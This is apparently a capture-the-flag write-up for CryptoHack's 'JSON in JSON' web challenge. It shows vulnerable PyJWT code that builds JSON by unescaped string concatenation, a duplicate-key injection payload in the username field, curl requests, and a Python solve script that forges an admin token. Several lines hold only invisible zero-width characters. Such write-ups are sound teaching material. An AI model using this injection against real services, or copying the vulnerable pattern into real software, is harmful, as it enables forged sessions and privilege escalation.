← Back to Writeups
CUSTOMMediumWeb

JSON in JSON

XESXOR9/10/20262 min read
#web#custom#medium#duplicate_key_override#json_injection#jwt_claim_forgery#server_side_signing_abuse#linux

JSON in JSON

Platform: cryptohack | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-21 | Status: Solved Techniques: duplicate_key_override, json_injection, jwt_claim_forgery, server_side_signing_abuse

Summary

Task: PyJWT-based session endpoint builds JSON via raw string concatenation of an unsanitized username, parses it with json.loads, and signs it with the server secret. Solution: inject a duplicate "admin":"True" key through the username so json.loads keeps the last value, making the server legitimately sign a forged admin token.

JSON in JSON — CryptoHack

Description

"We've explored how flawed verification can break the security of JWTs, but it can sometimes be possible to exploit the code to sign unexpected data in the first place."

Challenge URL: https://web.cryptohack.org/json-in-json (contributed by sublevel_1157).

Goal: recover the FLAG by obtaining a JWT where admin == "True". This is not a verification/secret-cracking challenge — the trick is to make the server sign attacker-controlled claims.

Analysis

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The vulnerable source (note: uses PyJWT, not python-jwt):

python
@chal.route('/json-in-json/create_session/<username>/')
def create_session(username):
    body = '{' \
              + '"admin": "' + "False" \
              + '", "username": "' + str(username) \
              + '"}'
    encoded = jwt.encode(json.loads(body), SECRET_KEY, algorithm='HS256')
    return {"session": encoded}

@chal.route('/json-in-json/authorise/<token>/')
def authorise(token):
    decoded = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
    if "admin" in decoded and decoded["admin"] == "True":
        return {"response": f"Welcome admin, here is your flag: {FLAG}"}
    ...

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Two flaws combine:

  1. JSON built by string concatenation. username is dropped verbatim into a JSON string literal with no escaping. An attacker can close the username string and append arbitrary JSON.
  2. Duplicate-key resolution. Python's json.loads keeps the last occurrence when a key appears twice. So injecting a second "admin" key overrides the hardcoded "False".

The signing happens server-side with the real SECRET_KEY, so the forged token verifies correctly in authorise. No key cracking needed — the server signs unexpected data for us. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

1. Craft the username payload

We want the final body to contain a second admin key:

  • Raw payload: x", "admin": "True
  • URL-encoded: x%22%2C%20%22admin%22%3A%20%22True

The server then constructs:

json
{"admin": "False", "username": "x", "admin": "True"}

After json.loads, duplicate-key resolution yields {"admin": "True", "username": "x"}.

2. Request the forged session

bash
curl -s "https://web.cryptohack.org/json-in-json/create_session/x%22%2C%20%22admin%22%3A%20%22True/"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response:

json
{"session":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6IlRydWUiLCJ1c2VybmFtZSI6IngifQ.ktCWANLIF-SulYAlWsbzBheUlsM5nFu6ZTXzetrqSNg"}

Decoding the middle segment confirms {"admin":"True","username":"x"}.

3. Submit to the authorise endpoint

bash
curl -s "https://web.cryptohack.org/json-in-json/authorise/<token>/"

Response:

json
{"response":"Welcome admin, here is your flag: crypto{REDACTED}"}

Full solve script

python
#!/usr/bin/env python3
import requests
from urllib.parse import quote
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE = "https://web.cryptohack.org/json-in-json"

# Inject a duplicate "admin":"True" key via the username field.
payload = 'x", "admin": "True'
username = quote(payload, safe='')

r = requests.get(f"{BASE}/create_session/{username}/")
token = r.json()["session"]
print("[+] forged token:", token)

r = requests.get(f"{BASE}/authorise/{token}/")
print("[+] response:", r.json())

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍